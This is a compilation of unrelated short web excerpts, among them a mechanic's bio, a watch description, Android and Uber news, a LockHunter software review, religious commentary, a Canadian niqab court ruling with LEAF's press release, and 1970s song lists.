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Bob has professionally worked on foreign cars in Greensboro since 1983 and specifically on European vehicles since 1986. He opened the first incarnation of Classic Import Auto Service in 1990 with his wife, Mary. They ran the shop together until 2002, when she decided to pursue a career in real estate. Bob continued working on cars but sold the business in 2005, and was on his own until July 2013 when an employee drew him to be a business owner once again.
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The princess and the puck.
Sami Ford has it all.
Her life is perfect.
But only if one doesn't look too closely.
Matt Brimley is a sports god.
Hockey fans adore him.
Girls everywhere want to worship at his skates.
He's living the dream.
If the dream involved everyone expecting you to be nothing but a jock.
These two rich kids could be the perfect couple.
If he didn't think she was a spoiled princess, and she didn't think he was a dumb puck, they might be.
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For the first time in the Traveller collection, the metallic gray sapphire dial subtly reveals its display at 12 o'clock, in the form of the large date mechanism. This mechanism is a Girard-Perregaux patent made up of two superimposed disks incorporated into the GP03300 automatic caliber. The juxtaposition of the disks, one of which has pieces made of transparent folanorm with a thickness of only 0.10 mm, ensures a perfect display in which there is no visible separation between the two disks.
The moon phase indication is perfectly represented by an impressive metallic treatment. A further subtle detail of this model is that the moon phase indication is directly attached to the barrel, thereby allowing for a high degree of accuracy. Adjusted by a corrector button situated at 8 o'clock, it is surrounded by a circular satin-brushed ring and features a small second hand at its center. Careful observers will note that the Milky Way conceals the brand's logo with one of its stars.
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Google adds voice commands for Android phones
Just because mobile phones are becoming more like small computers doesn't mean you should have to do a lot of typing on them.
That's the thinking behind the latest update to Google Inc.'s popular Android software for mobile phones.
The latest version of Android 2.2, released Thursday, includes 10 new voice commands that can be used to operate phones without using a keypad.
Although Google says about 200,000 Android-powered phones are being sold each day, not all of them are equipped with the 2.2 operating system, also known as Froyo. Google's Nexus One phone already runs on Froyo, but users will need to download free updates through its Android Market. Motorola Inc.'s Droid 2, which went on sale this week, already has the necessary updates. The features are expected to be added to HTC Corp.'s Evo and Incredible phones when they get Froyo in the coming months.
Google's new "Voice Actions" tool" enables people to dictate their text messages and e-mails. The voice recognition technology automatically translates the spoken words into text.
Phone calls can be made simply by speaking the name of a person or business. The feature can also find and play songs with spoken commands.


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Spain is one of the countries in Europe where, as we know, the conflict between the traditional taxi sector and digital platforms such as Uber or Cabify, which operate legally through driver's licenses, VTC licenses, as the courts have already declared, and even the Supreme Court, on multiple occasions, is having more relevance.
At least until now, since different administrations, such as Barcelona City Council or the general administration of the state, have been announcing new regulations and restrictions to the operation and way of providing the service of these digital platforms.
Thus, for example, the Spanish Council of Ministers has announced the approval of a new law that would modify the regulatory change as well as the judicial resolutions, in the sense of restricting the operation of applications such as Uber or Cabify, in favour of the taxi.
For its part, the Spanish competition authority has expressed its concern about these new regulations, as they may be restrictions that are harmful to consumers and have no justification.


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LockHunter is a small utility which helps you delete "locked" files on your Windows operating system. Thanks to this little program you will be able to delete almost any file – without worrying if the program is running or not.
This program uses several techniques to quit, close and delete programs which cause your file/folder to lock itself. It is able also forcibly delete files on your next Windows boot – if it is not able to delete it momentarily. This option can be chosen from the main menu.
With it, you can also check out the "More details" option which can display many hidden details of the selected process, such as ID, Windows service name and even a process command line.
The only downside for us is a bit old user interface, but thanks to the simple purpose it does not need to have some complicated menus and options.
LockHunter Main Features
- It is able to show processes to locked file or folder,
- Allowing you to easily delete, copy, rename and unlock a locked file on your system,
- Gives you out an option to kill processes by force,
- Integrates itself into Windows shell so you can access it easily,
- Deletes files into the recycle bin so you may restore them if necessary,
- Option to check for updates manually and automatically,
- Works on multiple Windows versions, including native support for 64-bit OS.
In general, LockHunter is really a neat application which can be useful for most users. It is completely free and demands extremely low resources to operate. It is definitely one of the essential utilities to have installed on your Windows.
LockHunter Rating
- User Interface - 6/106/10
- Functionality - 7/107/10
- Speed - 8/108/10
LockHunter Summary
An incredibly useful Windows software that ensures you will always be able to remove files and folders that File Explorer (or Windows itself) refuses to delete or remove from your system. A great little software to manipulate a file or a folder lock protection.


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Wednesday, June 17, 2009
The Time Traveler's Wife!
Finally! The movie adaptation of The Time Traveler's Wife by Audrey Niffenegger is coming out on August 14. I first read the book when I was studying in London in 2005, and me and my friends there passed this around and gushed about our love for it. Why so much love? It's a great love story and science fiction all in one, it's clever, it's largely set in Chicago...it is just all around goodness.
And to make it all even better, the casting could not be more dead on. Rachel McAdams plays Clare, and Eric Bana is Henry--as if Henry wasn't already my dream man in the book, now he's in the form of Eric Bana?! Yum. And Ron Livingston is playing Gomez? Love. It.
I could do without the uber-cheesy running into each other's arms in the meadow bit, but aside from that, the preview leads me to believe that they've managed to adapt this with a limited gag factor. Let's hope that's the case.
I can't wait! In the meantime, if you haven't read the book, come over and borrow my copy. I actually reread it earlier this year, so all I have to do is wait.
Oh, Henry and Clare!
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Belief in ghosts, astrology, fortune tellers, "the evil eye," communicating with the dead, etc. Survey details at Pew Research
Commentary at Click on Detroit
"Count Chandler Pierce, a 27-year-old cook from Duncansville, Pa., in that group. He was raised Baptist, dabbled in Mormonism, said he is 'with the whole Christianity thing,' most closely identifies with Buddhism and believes in astrology and all manner of supernatural phenomenon.
'My religion now … it's complicated,' he said."
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An article in the current issue of Christianity Today profiles a Sonoma County, CA "evangelical Christian" woman who claims God virtually dictated to her the mission for a new ministry: "Journey Center: Christ-centered spirituality, healing, and wholeness." The article explains how she began her work by going to an "alternative spirituality" fair, set up a prayer booth for one & all. People from all kinds of "spiritualities" came for prayer--"buddhists, hippies, everybody," she said. Then testified that "Every single person--every single person--was touched by the presence of God in some way. Some were crying. Some said, 'Wow, I felt something.' We were scared Christians, thinking it was going to be bizarre. But we found out that Jesus was already there...." She & her volunteers learned to avoid certain words like Jesus, church, and Christian because they were offensive to the "alternates." But they could use "Christ" because "many are into 'Christ consciousness.'"
One of Journey Center founder's most telling remarks came after developing a relationship with a woman who specializes in "chakra balancing and past-life regression." Her practices also included "radical feminism, goddess worship, Buddhist meditation, and Native American spiritual practices." Incidentally, this new friend insisted that as she engaged in her various practices, much to her chagrin, "Jesus kept showing up unbidden. He had appeared in a group exercise in guided meditation." When she "visualized a door, turned the handle, and stepped into the room where she was supposed to meet her higher self, Jesus was there." After several visits with this "alternative spiritualist," the evangelical Christian concluded, "I hadn't realized my understanding of God was so limited. I didn't know he could show up in someone's Eastern meditation practice."
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After the sale in the diamonds have boomed and the market is growing every single day, with all the right things that come with it, many other things are not so pleasant. This is the copying of the right diamonds and selling the duplicate copies as if they were real. This is the reason why there is a need for an all-new creed of the experts- the diamond experts. This will help you solve the following problems:
- Identify the right material.
- Get rid of the fake products floating in the market.
- Get to know the prices of the products there are.
- Compare with the similar range of diamonds there are in the market.
So here, the diamond experts are going to help you in the following ways:
- First and foremost, they have a lot of experience in the industry. This is the reason they can identify the type of products they are being offered. So, this is one less worry for the customers. Now, the customer will be able to focus on the more important things like the quality of the product and going for the various combinations that are required.
- Now, having been there for a long time now, they are somewhat acquainted will all the process that is utilised in the making of the diamonds and more importantly, the testing of the quality and the level of the finished products. So, the advice by them in this aspect is something that can be taken quite seriously and hence, people can trust them. This is one thing that needs to be respected and cherished by the people there are.
- Now, with the increasing seriousness in the industry, many programs are coming up in the market. One of them includes the certification in the field of diamonds. This ensures that the acclaimed experts are there with the right amount of information and are updated with all the changes in the industry. The programs have a lot of scope for the people who have just joined the industry and hence, creates an environment of learning for all.
- They have some fees to charge as well. But, given the amount of work they put int the research and also, the type of high-risk work they are doing, it is necessary to pay them right, which is only a small fraction of the actual diamond. This won't hurt much to the people as such.
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UPDATE 12 September 2018 "The day the men from City Hall came with chainsaws to prune the plane trees on the street outside our Hotel, Gabriela freaked out. She swore
The essential element of powerful fiction is not a twisty plot, pace, tension, effective writing… you can do all those things and still not engage the reader. The absolute key
In a recent post we looked at how the creative process has many stages, and how writing is no exception, and how each stage requires different skills and tools. And
Can we reframe this business of writing for 20 mins a day/500 words as a gift that you give to yourself? A gift to that part of you that never


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(this post now updated with LEAF's press release, see below)
N.S. came down today. Decision here: http://www.ontariocourts.on.ca/decisions/2010/october/2010ONCA0670.pdf
Nutshell outcome:
Going back to the Preliminary Inquiry judge. More "interrogation" of the complainant is necessary to determine how to reconcile the rights at stake. It could be that she can wear the veil – or perhaps not.
Other points that jumped out at me:
Check out the sunglasses hypothetical at para 42!
LEAF's argument that the case requires section 7 and 15 of the Charter was rejected on the basis that these were not argued at the lower level.
"Adjusting the process to ameliorate the hardships faced by a complainant like N.S. promotes gender equality." para 80
"Attempts to reconcile competing interests using "constructive compromises" might include the use of an all female court staff and a female judge. Those measures might also include, where constitutionally permissible, an order that a witness be cross examined by female counsel." para 85
Click here for an earlier post about this case.
I need more time to read and digest, but here is LEAF's Press Release:
Ontario Court of Appeal Recognizes Importance of Access to Justice for Niqab-Wearing Women
|October 13, 2010 – Toronto – The Ontario Court of Appeal released its decision today in the case of R. v. N.S. on the right of a sexual assault complainant to testify wearing her niqab.
"The Court sent a strong signal today that sexual assault complainants will be permitted to wear their niqabs while testifying, subject to limited exceptions and the strictures of the complainant's religious beliefs" says LEAF legal director Joanna Birenbaum. "This is a significant decision affirming the importance of fair trials and access to justice for Muslim women and all sexual assault complainants".
The Court of Appeal judgment specifically recognizes the "powerful" nature of the complainant's rights to wear her niqab while testifying, and the unique "hardships" and "particularly vulnerable position" suffered by women who report sexual assault.
The Court also recognizes that Muslims are a "minority that many believe is unfairly maligned and stereotyped in contemporary Canada" and that a failure to adequately consider the complainant's rights could "legitimize that negative stereotyping".
"It is also important that the Court confirmed the unreliability of demeanor evidence in general and in the specific circumstance of sexual assault" says LEAF co-counsel Susan Chapman. "The Court went so far as to hold that allowing the complainant to wear her niqab could advance the truth seeking function of the criminal trial". The Court noted that a complainant who normally wears the niqab and is required to unveil cannot be expected to "be herself" on the stand. A trier of fact might well be misled by her expressions of embarrassment and discomfort.
The Court held that the ultimate decision of whether to permit a witness to testify wearing a niqab must be determined on a case by case basis. A bald assertion of a right to demeanor evidence is unlikely ever to be sufficient, particularly at the preliminary inquiry stage.
LEAF asked the Court of Appeal to consider the demand that a sexual assault remove her niqab in the context of the long history of sexual assault complainants being harassed, re-victimized, humiliated and intimidated, especially at the preliminary inquiry. Such tactics have long been used to shut down prosecutions or prevent women from reporting sexual assault in the first place.
Chapman explains that "LEAF is pleased that the Court of Appeal recognized this history of discrimination and has clearly indicated that objections to the niqab must be carefully scrutinized in order to fully protect and respect the complainant's rights and the interests of society in just and fair criminal proceedings".
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1. Dusk (US) - Treat me like a good piece of candy (1971, Bell)
2. Tommy James (US) - Draggin' the line (1971, Roulette)
3. Chi-Lites (US) - A letter to myself (1973, Brunswick)
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Angel baby (1971 - US#57, Aus#18, NZ#3)
I hear those church bells ringing (1971 - US#53, Aus#8, NZ#3)
Treat me like a good piece of candy (1971 - Aus#77; Wellington NZ: prediction (#26))
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Point of no return (1972 NZ: prediction)
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Feel free to nominate other candidates for this list - it's not finished yet! Be warned, though: a) I may well have heard your nominee already; and b) taste for this sort of music is just so subjective!